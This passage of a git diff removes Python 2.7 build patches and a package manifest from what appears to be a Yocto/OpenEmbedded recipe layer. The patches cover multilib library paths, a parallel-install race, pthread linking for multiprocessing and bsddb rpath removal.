-- "lib", "python" + get_python_version())
-+ if plat_specific or standard_lib:
-+ lib = sys.lib
-+ else:
-+ lib = "lib"
-+ libpython = os.path.join(prefix, lib, "python" + get_python_version())
- if standard_lib:
- return libpython
- else:
-Index: Python-2.7.14/Lib/pydoc.py
-===================================================================
---- Python-2.7.14.orig/Lib/pydoc.py
-+++ Python-2.7.14/Lib/pydoc.py
-@@ -375,7 +375,7 @@ class Doc:
- docmodule = docclass = docroutine = docother = docproperty = docdata = fail
-
- def getdocloc(self, object,
-- basedir=os.path.join(sys.exec_prefix, "lib",
-+ basedir=os.path.join(sys.exec_prefix, "sys.lib",
- "python"+sys.version[0:3])):
- """Return the location of module docs or None"""
-
-Index: Python-2.7.14/Lib/site.py
-===================================================================
---- Python-2.7.14.orig/Lib/site.py
-+++ Python-2.7.14/Lib/site.py
-@@ -288,13 +288,18 @@ def getsitepackages():
- if sys.platform in ('os2emx', 'riscos'):
- sitepackages.append(os.path.join(prefix, "Lib", "site-packages"))
- elif os.sep == '/':
-- sitepackages.append(os.path.join(prefix, "lib",
-+ sitepackages.append(os.path.join(prefix, sys.lib,
- "python" + sys.version[:3],
- "site-packages"))
-- sitepackages.append(os.path.join(prefix, "lib", "site-python"))
-+ sitepackages.append(os.path.join(prefix, sys.lib, "site-python"))
-+ if sys.lib != "lib":
-+ sitepackages.append(os.path.join(prefix, "lib",
-+ "python" + sys.version[:3],
-+ "site-packages"))
-+ sitepackages.append(os.path.join(prefix, "lib", "site-python"))
- else:
- sitepackages.append(prefix)
-- sitepackages.append(os.path.join(prefix, "lib", "site-packages"))
-+ sitepackages.append(os.path.join(prefix, sys.lib, "site-packages"))
- return sitepackages
-
- def addsitepackages(known_paths):
-Index: Python-2.7.14/Lib/sysconfig.py
-===================================================================
---- Python-2.7.14.orig/Lib/sysconfig.py
-+++ Python-2.7.14/Lib/sysconfig.py
-@@ -7,10 +7,10 @@ from os.path import pardir, realpath
-
- _INSTALL_SCHEMES = {
- 'posix_prefix': {
-- 'stdlib': '{base}/lib/python{py_version_short}',
-- 'platstdlib': '{platbase}/lib/python{py_version_short}',
-+ 'stdlib': '{base}/'+sys.lib+'/python{py_version_short}',
-+ 'platstdlib': '{platbase}/'+sys.lib+'/python{py_version_short}',
- 'purelib': '{base}/lib/python{py_version_short}/site-packages',
-- 'platlib': '{platbase}/lib/python{py_version_short}/site-packages',
-+ 'platlib': '{platbase}/'+sys.lib+'/python{py_version_short}/site-packages',
- 'include': '{base}/include/python{py_version_short}',
- 'platinclude': '{platbase}/include/python{py_version_short}',
- 'scripts': '{base}/bin',
-@@ -65,10 +65,10 @@ _INSTALL_SCHEMES = {
- 'data' : '{userbase}',
- },
- 'posix_user': {
-- 'stdlib': '{userbase}/lib/python{py_version_short}',
-- 'platstdlib': '{userbase}/lib/python{py_version_short}',
-+ 'stdlib': '{userbase}/'+sys.lib+'/python{py_version_short}',
-+ 'platstdlib': '{userbase}/'+sys.lib+'/python{py_version_short}',
- 'purelib': '{userbase}/lib/python{py_version_short}/site-packages',
-- 'platlib': '{userbase}/lib/python{py_version_short}/site-packages',
-+ 'platlib': '{userbase}/'+sys.lib+'/python{py_version_short}/site-packages',
- 'include': '{userbase}/include/python{py_version_short}',
- 'scripts': '{userbase}/bin',
- 'data' : '{userbase}',
-Index: Python-2.7.14/Lib/test/test_dl.py
-===================================================================
---- Python-2.7.14.orig/Lib/test/test_dl.py
-+++ Python-2.7.14/Lib/test/test_dl.py
-@@ -4,10 +4,11 @@
- import unittest
- from test.test_support import verbose, import_module
- dl = import_module('dl', deprecated=True)
-+import sys
-
- sharedlibs = [
-- ('/usr/lib/libc.so', 'getpid'),
-- ('/lib/libc.so.6', 'getpid'),
-+ ('/usr/'+sys.lib+'/libc.so', 'getpid'),
-+ ('/'+sys.lib+'/libc.so.6', 'getpid'),
- ('/usr/bin/cygwin1.dll', 'getpid'),
- ('/usr/lib/libc.dylib', 'getpid'),
- ]
-Index: Python-2.7.14/Lib/test/test_site.py
-===================================================================
---- Python-2.7.14.orig/Lib/test/test_site.py
-+++ Python-2.7.14/Lib/test/test_site.py
-@@ -252,12 +252,16 @@ class HelperFunctionsTests(unittest.Test
- self.assertEqual(dirs[0], wanted)
- elif os.sep == '/':
- # OS X, Linux, FreeBSD, etc
-- self.assertEqual(len(dirs), 2)
- wanted = os.path.join('xoxo', 'lib', 'python' + sys.version[:3],
- 'site-packages')
-- self.assertEqual(dirs[0], wanted)
-+ self.assertTrue(wanted in dirs)
- wanted = os.path.join('xoxo', 'lib', 'site-python')
-- self.assertEqual(dirs[1], wanted)
-+ self.assertTrue(wanted in dirs)
-+ wanted = os.path.join('xoxo', sys.lib, 'python' + sys.version[:3],
-+ 'site-packages')
-+ self.assertTrue(wanted in dirs)
-+ wanted = os.path.join('xoxo', sys.lib, 'site-python')
-+ self.assertTrue(wanted in dirs)
- else:
- # other platforms
- self.assertEqual(len(dirs), 2)
-Index: Python-2.7.14/Lib/trace.py
-===================================================================
---- Python-2.7.14.orig/Lib/trace.py
-+++ Python-2.7.14/Lib/trace.py
-@@ -754,10 +754,10 @@ def main(argv=None):
- # should I also call expanduser? (after all, could use $HOME)
-
- s = s.replace("$prefix",
-- os.path.join(sys.prefix, "lib",
-+ os.path.join(sys.prefix, sys.lib,
- "python" + sys.version[:3]))
- s = s.replace("$exec_prefix",
-- os.path.join(sys.exec_prefix, "lib",
-+ os.path.join(sys.exec_prefix, sys.lib,
- "python" + sys.version[:3]))
- s = os.path.normpath(s)
- ignore_dirs.append(s)
-Index: Python-2.7.14/Makefile.pre.in
-===================================================================
---- Python-2.7.14.orig/Makefile.pre.in
-+++ Python-2.7.14/Makefile.pre.in
-@@ -91,6 +91,7 @@ PY_CFLAGS= $(CFLAGS) $(CPPFLAGS) $(CFLAG
-
- # Machine-dependent subdirectories
- MACHDEP= @MACHDEP@
-+LIB= @LIB@
-
- # Multiarch directory (may be empty)
- MULTIARCH= @MULTIARCH@
-@@ -110,7 +111,7 @@ LIBDIR= @libdir@
- MANDIR= @mandir@
- INCLUDEDIR= @includedir@
- CONFINCLUDEDIR= $(exec_prefix)/include
--SCRIPTDIR= $(prefix)/lib
-+SCRIPTDIR= $(prefix)/@LIB@
-
- # Detailed destination directories
- BINLIBDEST= $(LIBDIR)/python$(VERSION)
-@@ -645,6 +646,7 @@ Modules/getpath.o: $(srcdir)/Modules/get
- -DEXEC_PREFIX='"$(exec_prefix)"' \
- -DVERSION='"$(VERSION)"' \
- -DVPATH='"$(VPATH)"' \
-+ -DLIB='"$(LIB)"' \
- -o $@ $(srcdir)/Modules/getpath.c
-
- Modules/python.o: $(srcdir)/Modules/python.c
-@@ -693,7 +695,7 @@ regen-ast:
- Python/compile.o Python/symtable.o Python/ast.o: $(srcdir)/Include/graminit.h $(srcdir)/Include/Python-ast.h
-
- Python/getplatform.o: $(srcdir)/Python/getplatform.c
-- $(CC) -c $(PY_CFLAGS) -DPLATFORM='"$(MACHDEP)"' -o $@ $(srcdir)/Python/getplatform.c
-+ $(CC) -c $(PY_CFLAGS) -DPLATFORM='"$(MACHDEP)"' -DLIB='"$(LIB)"' -o $@ $(srcdir)/Python/getplatform.c
-
- Python/importdl.o: $(srcdir)/Python/importdl.c
- $(CC) -c $(PY_CFLAGS) -I$(DLINCLDIR) -o $@ $(srcdir)/Python/importdl.c
-Index: Python-2.7.14/Modules/getpath.c
-===================================================================
---- Python-2.7.14.orig/Modules/getpath.c
-+++ Python-2.7.14/Modules/getpath.c
-@@ -100,6 +100,13 @@
- #error "PREFIX, EXEC_PREFIX, VERSION, and VPATH must be constant defined"
- #endif
-
-+#define LIB_PYTHON LIB "/python" VERSION
-+
-+#ifndef PYTHONPATH
-+#define PYTHONPATH PREFIX "/" LIB_PYTHON ":" \
-+ EXEC_PREFIX "/" LIB_PYTHON "/lib-dynload"
-+#endif
-+
- #ifndef LANDMARK
- #define LANDMARK "os.py"
- #endif
-@@ -108,7 +115,7 @@ static char prefix[MAXPATHLEN+1];
- static char exec_prefix[MAXPATHLEN+1];
- static char progpath[MAXPATHLEN+1];
- static char *module_search_path = NULL;
--static char lib_python[] = "lib/python" VERSION;
-+static char lib_python[] = LIB_PYTHON;
-
- static void
- reduce(char *dir)
-Index: Python-2.7.14/Python/getplatform.c
-===================================================================
---- Python-2.7.14.orig/Python/getplatform.c
-+++ Python-2.7.14/Python/getplatform.c
-@@ -10,3 +10,13 @@ Py_GetPlatform(void)
- {
- return PLATFORM;
- }
-+
-+#ifndef LIB
-+#define LIB "lib"
-+#endif
-+
-+const char *
-+Py_GetLib(void)
-+{
-+ return LIB;
-+}
-Index: Python-2.7.14/Python/sysmodule.c
-===================================================================
---- Python-2.7.14.orig/Python/sysmodule.c
-+++ Python-2.7.14/Python/sysmodule.c
-@@ -1437,6 +1437,8 @@ _PySys_Init(void)
- PyString_FromString(Py_GetCopyright()));
- SET_SYS_FROM_STRING("platform",
- PyString_FromString(Py_GetPlatform()));
-+ SET_SYS_FROM_STRING("lib",
-+ PyString_FromString(Py_GetLib()));
- SET_SYS_FROM_STRING("executable",
- PyString_FromString(Py_GetProgramFullPath()));
- SET_SYS_FROM_STRING("prefix",
diff --git a/meta/recipes-devtools/python/python/parallel-makeinst-create-bindir.patch b/meta/recipes-devtools/python/python/parallel-makeinst-create-bindir.patch
deleted file mode 100644
index abab41e957..0000000000
--- a/meta/recipes-devtools/python/python/parallel-makeinst-create-bindir.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-When using make -j with the 'install' target, it's possible for altbininstall
-(which normally creates BINDIR) and libainstall (which doesn't, though it
-installs python-config there) to race, resulting in a failure due to
-attempting to install python-config into a nonexistent BINDIR. Ensure it also
-exists in the libainstall target.
-
-Upstream-Status: Pending
-
---- Python-2.7.3.orig/Makefile.pre.in
-+++ Python-2.7.3/Makefile.pre.in
-@@ -1187,7 +1187,7 @@
- LIBPC= $(LIBDIR)/pkgconfig
-
- libainstall: @DEF_MAKE_RULE@ python-config
-- @for i in $(LIBDIR) $(LIBP) $(LIBPL) $(LIBPC); \
-+ @for i in $(LIBDIR) $(LIBP) $(LIBPL) $(LIBPC) $(BINDIR); \
- do \
- if test ! -d $(DESTDIR)$$i; then \
- echo "Creating directory $$i"; \
diff --git a/meta/recipes-devtools/python/python/pass-missing-libraries-to-Extension-for-mul.patch b/meta/recipes-devtools/python/python/pass-missing-libraries-to-Extension-for-mul.patch
deleted file mode 100644
index 44fcaacf30..0000000000
--- a/meta/recipes-devtools/python/python/pass-missing-libraries-to-Extension-for-mul.patch
+++ /dev/null
@@ -1,82 +0,0 @@
-From 71447f04979b267f8866573b67a4340b2719d799 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 4 Aug 2017 14:10:43 +0800
-Subject: [PATCH] setup.py: pass missing libraries to Extension for multiprocessing module
-
-In the following commit:
-...
-commit e711cafab13efc9c1fe6c5cd75826401445eb585
-Author: Benjamin Peterson <benjamin@python.org>
-Date: Wed Jun 11 16:44:04 2008 +0000
-
- Merged revisions 64104,64117 via svnmerge from
- svn+ssh://pythondev@svn.python.org/python/trunk
-...
-(see diff in setup.py)
-It assigned libraries for multiprocessing module according
-the host_platform, but not pass it to Extension.
-
-In glibc, the following commit caused two definition of
-sem_getvalue are different.
-https://sourceware.org/git/?p=glibc.git;a=commit;h=042e1521c794a945edc43b5bfa7e69ad70420524
-(see diff in nptl/sem_getvalue.c for detail)
-`__new_sem_getvalue' is the latest sem_getvalue@@GLIBC_2.1
-and `__old_sem_getvalue' is to compat the old version
-sem_getvalue@GLIBC_2.0.
-
-To build python for embedded Linux systems:
-http://www.yoctoproject.org/docs/2.3.1/yocto-project-qs/yocto-project-qs.html
-If not explicitly link to library pthread (-lpthread), it will
-load glibc's sem_getvalue randomly at runtime.
-
-Such as build python on linux x86_64 host and run the python
-on linux x86_32 target. If not link library pthread, it caused
-multiprocessing bounded semaphore could not work correctly.
-...
->>> import multiprocessing
->>> pool_sema = multiprocessing.BoundedSemaphore(value=1)
->>> pool_sema.acquire()
-True
->>> pool_sema.release()
-Traceback (most recent call last):
- File "<stdin>", line 1, in <module>
-ValueError: semaphore or lock released too many times
-...
-
-And the semaphore issue also caused multiprocessing.Queue().put() hung.
-
-Upstream-Status: Submitted [https://github.com/python/cpython/pull/2999]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- setup.py | 7 +++++--
- 1 file changed, 5 insertions(+), 2 deletions(-)
-
-diff --git a/setup.py b/setup.py
-index 54054c2..9646bfc 100644
---- a/setup.py
-+++ b/setup.py
-@@ -1586,8 +1586,10 @@ class PyBuildExt(build_ext):
- elif host_platform.startswith('netbsd'):
- macros = dict()
- libraries = []
--
-- else: # Linux and other unices
-+ elif host_platform.startswith(('linux')):
-+ macros = dict()
-+ libraries = ['pthread']
-+ else: # Other unices
- macros = dict()
- libraries = ['rt']
-
-@@ -1610,6 +1612,7 @@ class PyBuildExt(build_ext):
- if sysconfig.get_config_var('WITH_THREAD'):
- exts.append ( Extension('_multiprocessing', multiprocessing_srcs,
- define_macros=macros.items(),
-+ libraries=libraries,
- include_dirs=["Modules/_multiprocessing"]))
- else:
- missing.append('_multiprocessing')
---
-2.7.4
-
diff --git a/meta/recipes-devtools/python/python/python-2.7.3-remove-bsdb-rpath.patch b/meta/recipes-devtools/python/python/python-2.7.3-remove-bsdb-rpath.patch
deleted file mode 100644
index 216be0a448..0000000000
--- a/meta/recipes-devtools/python/python/python-2.7.3-remove-bsdb-rpath.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-Remove the RPATH to avoid QA issue warning.
-
-RP: Added secondary unnecessary rpath to the list 2012/8/7
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
-
-
-Index: Python-2.7.3/setup.py
-===================================================================
---- Python-2.7.3.orig/setup.py 2012-08-07 10:41:58.560132529 +0000
-+++ Python-2.7.3/setup.py 2012-08-07 11:09:47.852094515 +0000
-@@ -1042,7 +1042,6 @@
- exts.append(Extension('_bsddb', ['_bsddb.c'],
- depends = ['bsddb.h'],
- library_dirs=dblib_dir,
-- runtime_library_dirs=dblib_dir,
- include_dirs=db_incs,
- libraries=dblibs))
- else:
-@@ -1252,7 +1251,6 @@
- print "building dbm using bdb"
- dbmext = Extension('dbm', ['dbmmodule.c'],
- library_dirs=dblib_dir,
-- runtime_library_dirs=dblib_dir,
- include_dirs=db_incs,
- define_macros=[
- ('HAVE_BERKDB_H', None),
diff --git a/meta/recipes-devtools/python/python/python2-manifest.json b/meta/recipes-devtools/python/python/python2-manifest.json
deleted file mode 100644
index eb52e862ab..0000000000
--- a/meta/recipes-devtools/python/python/python2-manifest.json
+++ /dev/null
@@ -1,1138 +0,0 @@
-# DO NOT (entirely) modify this file manually, please read.
-#
-# IMPORTANT NOTE:
-# Please keep in mind that the create_manifest task relies on the fact the the
-# target and native Python packages are the same, and it also needs to be executed
-# with a fully working native package (with all the PACKAGECONFIGs enabled and all
-# and all the modules should be working, check log.do_compile), otherwise the script
-# will fail to find dependencies correctly, this note is valid either if you are
-# upgrading to a new Python version or adding a new package.
-#
-#
-# If you are adding a new package please follow the next steps:
-# How to add a new package:
-# - If a user wants to add a new package all that has to be done is:
-# Modify the python2-manifest.json file, and add the required file(s) to the FILES list,
-# fill up the SUMMARY section as well, the script should handle all the rest.
-#
-# Real example:
-# We want to add a web browser package, including the file webbrowser.py
-# which at the moment is on python-misc.
-# "webbrowser": {
-# "files": ["${libdir}/python2.7/lib-dynload/webbrowser.py"],
-# "rdepends": [],
-# "summary": "Python Web Browser support"}
-#
-# * Note that the rdepends field was left empty
-#
-# We run $ bitbake python -c create_manifest and the resulting manifest
-# should be completed after a few seconds, showing something like:
-# "webbrowser": {
-# "files": ["${libdir}/python2.7/webbrowser.py"],
-# "rdepends": ["core","fcntl","io","pickle","shell","subprocess"],
-# "summary": "Python Web Browser support"}
-#
-#
-# If you are upgrading Python to a new version please follow the next steps:
-# After each Python upgrade, the create_manifest task should be executed, because we
-# don't control what changes on upstream Python, so, some module dependency
-# might have changed without us realizing it, a certain module can either have
-# more or less dependencies, or could be depending on a new file that was just
-# created on the new release and for obvious reasons we wouldn't have it on our
-# old manifest, all of these issues would cause runtime errors on our system.
-#
-# - Upgrade both the native and target Python packages to a new version
-# - Run the create_manifest task for the target Python package as its shown below:
-#
-# $ bitbake python -c create_manifest
-#
-# This will automatically replace your manifest file located under the Python directory
-# with an new one, which contains the new dependencies (if any).
-#
-# Several things could have gone wrong here, I will try to explain a few:
-#
-# a) A new file was introduced on this release, e.g. sha3*.so:
-# The task will check what its needed to import every module, more than one module would
-# would probably depend on sha3*.so, although only one module should contain it.
-#
-# After running the task, the new manifest will have the sha3*.so file on more than one
-# module, you need to manually decide which one of them should get it and delete it from
-# the others, for example sha3*.so should likely be on ${PN}-crypt.
-# Once you have deleted from the others you need to run the create_manifest task again,
-# this will populate the other module's rdepends fields, with ${PN}-crypt and you should be
-# good to go.
-#
-# b) The native package wasn't built correctly and its missing a certain module:
-# As mentioned before, you need to make sure the native package was built with all the modules
-# because it is used as base to build the manifest file, you need to manually check log.do_compile
-# since it won't error out the compile function if its only missing a couple of modules.
-#
-# e.g. missing the _uuid module, log.do_compile would show the following:
-# Python build finished successfully!
-# The necessary bits to build these optional modules were not found:
-# _uuid
-#
-# What will happen here is that the new manifest would not be aware that the _uuid module exists, so
-# not only we won't know of any dependencies to it, but also, the _uuid* files will be packaged on
-# the misc package (which is where any file that doesn't belong anywhere else ends up).
-#
-# This will eventually cause runtime errors on our system if we don't include the misc package on
-# on our image, because the _uuid files will be missing.
-# If we build the _uuid module correctly and run the create_manifest task the _uuid files will be
-# detected correctly along with its dependencies, and we will get a working manifest.
-#
-# This is the reason why it is important to make sure we have a fully working native build,
-# so we can avoid these errors.
-#
-#
-#
-# DO NOT MODIFY THE NEXT LINE!, IT IS USED AS A MARKER FOR THE ACTUAL JSON MANIFEST
-# EOC
-{
- "tests": {
- "summary": "Python test suite",
- "rdepends": [
- "core",
- "modules"
- ],
- "files": [
- "${libdir}/python2.7/*/test",
- "${libdir}/python2.7/*/tests",
- "${libdir}/python2.7/idlelib/idle_test/",
- "${libdir}/python2.7/test"
- ],
- "cached": []
- },
- "2to3": {
- "summary": "Python automated Python 2 to 3 code translator",
- "rdepends": [
- "core"
- ],
- "files": [
- "${bindir}/2to3*",
- "${libdir}/python2.7/lib2to3"
- ]
- },
- "argparse": {
- "summary": "Python command line argument parser",
- "rdepends": [
- "codecs",
- "core",
- "lang",
- "textutils"
- ],
- "files": [
- "${libdir}/python2.7/argparse.py"
- ]
- },
- "audio": {
- "summary": "Python Audio Handling",
- "rdepends": [
- "core",
- "crypt",
- "fcntl",
- "io",
- "math"
- ],
- "files": [
- "${libdir}/python2.7/audiodev.py",
- "${libdir}/python2.7/chunk.py",
- "${libdir}/python2.7/lib-dynload/audioop.so",
- "${libdir}/python2.7/lib-dynload/ossaudiodev.so",
- "${libdir}/python2.7/sndhdr.py",
- "${libdir}/python2.7/sunau.py",
- "${libdir}/python2.7/sunaudio.py",
- "${libdir}/python2.7/toaiff.py",
- "${libdir}/python2.7/wave.py"
- ]
- },
- "bsddb": {
- "summary": "Python bindings for the Berkeley Database",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/bsddb",
- "${libdir}/python2.7/lib-dynload/_bsddb.so"
- ]
- },
- "codecs": {
- "summary": "Python codec",
- "rdepends": [
- "core",
- "io",
- "lang"
- ],
- "files": [
- "${libdir}/python2.7/gettext.py",
- "${libdir}/python2.7/lib-dynload/_codecs_cn.so",
- "${libdir}/python2.7/lib-dynload/_codecs_hk.so",
- "${libdir}/python2.7/lib-dynload/_codecs_iso2022.so",
- "${libdir}/python2.7/lib-dynload/_codecs_jp.so",
- "${libdir}/python2.7/lib-dynload/_codecs_kr.so",
- "${libdir}/python2.7/lib-dynload/_codecs_tw.so",
- "${libdir}/python2.7/lib-dynload/_multibytecodec.so",
- "${libdir}/python2.7/lib-dynload/unicodedata.so",
- "${libdir}/python2.7/locale.py",
- "${libdir}/python2.7/stringprep.py",
- "${libdir}/python2.7/xdrlib.py"
- ]
- },
- "compile": {
- "summary": "Python bytecode compilation support",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/compileall.py",
- "${libdir}/python2.7/py_compile.py"
- ]
- },
- "compiler": {
- "summary": "Python compiler support",
- "rdepends": [
- "core",
- "io",
- "lang"
- ],
- "files": [
- "${libdir}/python2.7/compiler"
- ]
- },
- "compression": {
- "summary": "Python high-level compression support",
- "rdepends": [
- "core",
- "io",
- "shell",
- "unixadmin",
- "zlib"
- ],
- "files": [
- "${libdir}/python2.7/gzip.py",
- "${libdir}/python2.7/lib-dynload/bz2.so",
- "${libdir}/python2.7/tarfile.py",
- "${libdir}/python2.7/zipfile.py"
- ]
- },
- "contextlib": {
- "summary": "Python utilities for with-statementcontexts.",
- "rdepends": [
- "core",
- "lang"
- ],
- "files": [
- "${libdir}/python2.7/contextlib.py"
- ]
- },
- "core": {
- "summary": "Python interpreter and core modules",
- "rdepends": [],
- "files": [
- "${bindir}/python*",
- "${includedir}/python2.7/pyconfig*.h",
- "${libdir}/python2.7/ConfigParser.py",
- "${libdir}/python2.7/UserDict.py",
- "${libdir}/python2.7/UserList.py",
- "${libdir}/python2.7/UserString.py",
- "${libdir}/python2.7/__future__.py",
- "${libdir}/python2.7/_abcoll.py",
- "${libdir}/python2.7/_sysconfigdata.py",
- "${libdir}/python2.7/_weakrefset.py",
- "${libdir}/python2.7/abc.py",
- "${libdir}/python2.7/ast.py",
- "${libdir}/python2.7/atexit.py",
- "${libdir}/python2.7/codecs.py",
- "${libdir}/python2.7/collections.py",
- "${libdir}/python2.7/copy.py",
- "${libdir}/python2.7/copy_reg.py",
- "${libdir}/python2.7/encodings",
- "${libdir}/python2.7/encodings/aliases.py",
- "${libdir}/python2.7/encodings/utf_8.py",
- "${libdir}/python2.7/genericpath.py",
- "${libdir}/python2.7/getopt.py",
- "${libdir}/python2.7/heapq.py",
- "${libdir}/python2.7/importlib",
- "${libdir}/python2.7/keyword.py",
- "${libdir}/python2.7/lib-dynload/_collections.so",
- "${libdir}/python2.7/lib-dynload/_heapq.so",
- "${libdir}/python2.7/lib-dynload/_locale.so",
- "${libdir}/python2.7/lib-dynload/_struct.so",
- "${libdir}/python2.7/lib-dynload/binascii.so",
- "${libdir}/python2.7/lib-dynload/itertools.so",
- "${libdir}/python2.7/lib-dynload/operator.so",
- "${libdir}/python2.7/lib-dynload/readline.so",
- "${libdir}/python2.7/lib-dynload/strop.so",
- "${libdir}/python2.7/lib-dynload/time.so",
- "${libdir}/python2.7/lib-dynload/xreadlines.so",
- "${libdir}/python2.7/linecache.py",
- "${libdir}/python2.7/new.py",
- "${libdir}/python2.7/os.py",
- "${libdir}/python2.7/platform.py",
- "${libdir}/python2.7/posixpath.py",
- "${libdir}/python2.7/re.py",
- "${libdir}/python2.7/rlcompleter.py",
- "${libdir}/python2.7/site.py",
- "${libdir}/python2.7/sitecustomize.py",
- "${libdir}/python2.7/sre_compile.py",
- "${libdir}/python2.7/sre_constants.py",
- "${libdir}/python2.7/sre_parse.py",
- "${libdir}/python2.7/stat.py",
- "${libdir}/python2.7/string.py",
- "${libdir}/python2.7/struct.py",
- "${libdir}/python2.7/sysconfig.py",
- "${libdir}/python2.7/traceback.py",
- "${libdir}/python2.7/types.py",
- "${libdir}/python2.7/warnings.py",
- "${libdir}/python2.7/weakref.py"
- ]
- },
- "crypt": {
- "summary": "Python basic cryptographic and hashing support",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/hashlib.py",
- "${libdir}/python2.7/lib-dynload/_hashlib.so",
- "${libdir}/python2.7/lib-dynload/crypt.so",
- "${libdir}/python2.7/md5.py",
- "${libdir}/python2.7/sha.py"
- ]
- },
- "ctypes": {
- "summary": "Python C types support",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/ctypes",
- "${libdir}/python2.7/lib-dynload/_ctypes.so",
- "${libdir}/python2.7/lib-dynload/_ctypes_test.so"
- ]
- },
- "curses": {
- "summary": "Python curses support",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/curses",
- "${libdir}/python2.7/lib-dynload/_curses.so",
- "${libdir}/python2.7/lib-dynload/_curses_panel.so"
- ]
- },
- "datetime": {
- "summary": "Python calendar and time support",
- "rdepends": [
- "codecs",
- "core",
- "lang"
- ],
- "files": [
- "${libdir}/python2.7/_strptime.py",
- "${libdir}/python2.7/calendar.py",
- "${libdir}/python2.7/lib-dynload/datetime.so"
- ]
- },
- "db": {
- "summary": "Python file-based database support",
- "rdepends": [
- "bsddb",
- "core",
- "gdbm"
- ],
- "files": [
- "${libdir}/python2.7/anydbm.py",
- "${libdir}/python2.7/dbhash.py",
- "${libdir}/python2.7/dumbdbm.py",
- "${libdir}/python2.7/lib-dynload/dbm.so",
- "${libdir}/python2.7/whichdb.py"
- ]
- },
- "debugger": {
- "summary": "Python debugger",
- "rdepends": [
- "core",
- "io",
- "lang",
- "pprint",
- "shell"
- ],
- "files": [
- "${libdir}/python2.7/bdb.py",
- "${libdir}/python2.7/pdb.py"
- ]
- },
- "dev": {
- "files": [
- "${base_libdir}/*.a",
- "${base_libdir}/*.o",
- "${datadir}/aclocal",
- "${datadir}/pkgconfig",
- "${includedir}",
- "${libdir}/*.a",
- "${libdir}/*.la",
- "${libdir}/*.o",
- "${libdir}/lib*${SOLIBSDEV}",
- "${libdir}/pkgconfig",
- "${libdir}/python2.7/config/Makefile"
- ],
- "rdepends": [
- "core"
- ],
- "summary": "Python development package"
- },
- "difflib": {
- "summary": "Python helpers for computing deltas between objects",
- "rdepends": [
- "core",
- "lang"
- ],
- "files": [
- "${libdir}/python2.7/difflib.py"
- ]
- },
- "distutils-staticdev": {
- "files": [
- "${libdir}/python2.7/config/lib*.a"
- ],
- "rdepends": [
- "distutils"
- ],
- "summary": "Python distribution utilities (static libraries)"
- },
- "distutils": {
- "summary": "Python Distribution Utilities",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/config",
- "${libdir}/python2.7/distutils"
- ]
- },
- "doctest": {
- "summary": "Python framework for running examples in docstrings",
- "rdepends": [
- "core",
- "crypt",
- "debugger",
- "difflib",
- "fcntl",
- "io",
- "lang",
- "math",
- "pprint",
- "shell",
- "unittest"
- ],
- "files": [
- "${libdir}/python2.7/doctest.py"
- ]
- },
- "email": {
- "summary": "Python email support",
- "rdepends": [
- "contextlib",
- "core",
- "crypt",
- "fcntl",
- "io",
- "lang",
- "math",
- "netclient",
- "pickle",
- "subprocess",
- "textutils",
- "threading"
- ],
- "files": [
- "${libdir}/python2.7/email",
- "${libdir}/python2.7/imaplib.py"
- ]
- },
- "fcntl": {
- "summary": "Python's fcntl interface",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/lib-dynload/fcntl.so"
- ]
- },
- "gdbm": {
- "summary": "Python GNU database support",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/lib-dynload/gdbm.so"
- ]
- },
- "hotshot": {
- "summary": "Python hotshot performance profiler",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/hotshot",
- "${libdir}/python2.7/lib-dynload/_hotshot.so"
- ]
- },
- "html": {
- "summary": "Python HTML processing support",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/HTMLParser.py",
- "${libdir}/python2.7/formatter.py",
- "${libdir}/python2.7/htmlentitydefs.py",
- "${libdir}/python2.7/htmllib.py",
- "${libdir}/python2.7/markupbase.py",
- "${libdir}/python2.7/sgmllib.py"
- ]
- },
- "idle": {
- "summary": "Python Integrated Development Environment",
- "rdepends": [
- "core"
- ],
- "files": [
- "${bindir}/idle",
- "${libdir}/python2.7/idlelib"
- ]
- },
- "image": {
- "summary": "Python graphical image handling",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/colorsys.py",
- "${libdir}/python2.7/imghdr.py"
- ]
- },
- "io": {
- "summary": "Python low-level I/O",
- "rdepends": [
- "contextlib",
- "core",
- "crypt",
- "fcntl",
- "lang",
- "math",
- "netclient",
- "textutils"
- ],
- "files": [
- "${libdir}/python2.7/StringIO.py",
- "${libdir}/python2.7/_pyio.py",
- "${libdir}/python2.7/io.py",
- "${libdir}/python2.7/lib-dynload/_io.so",
- "${libdir}/python2.7/lib-dynload/_socket.so",
- "${libdir}/python2.7/lib-dynload/_ssl.so",
- "${libdir}/python2.7/lib-dynload/cStringIO.so",
- "${libdir}/python2.7/lib-dynload/select.so",
- "${libdir}/python2.7/lib-dynload/termios.so",
- "${libdir}/python2.7/pipes.py",
- "${libdir}/python2.7/socket.py",
- "${libdir}/python2.7/ssl.py",
- "${libdir}/python2.7/tempfile.py"
- ]
- },
- "json": {
- "summary": "Python JSON support",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/json",
- "${libdir}/python2.7/lib-dynload/_json.so"
- ]
- },
- "lang": {
- "summary": "Python low-level language support",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/bisect.py",
- "${libdir}/python2.7/code.py",
- "${libdir}/python2.7/codeop.py",
- "${libdir}/python2.7/dis.py",
- "${libdir}/python2.7/functools.py",
- "${libdir}/python2.7/inspect.py",
- "${libdir}/python2.7/lib-dynload/_bisect.so",
- "${libdir}/python2.7/lib-dynload/_functools.so",
- "${libdir}/python2.7/lib-dynload/array.so",
- "${libdir}/python2.7/lib-dynload/parser.so",
- "${libdir}/python2.7/opcode.py",
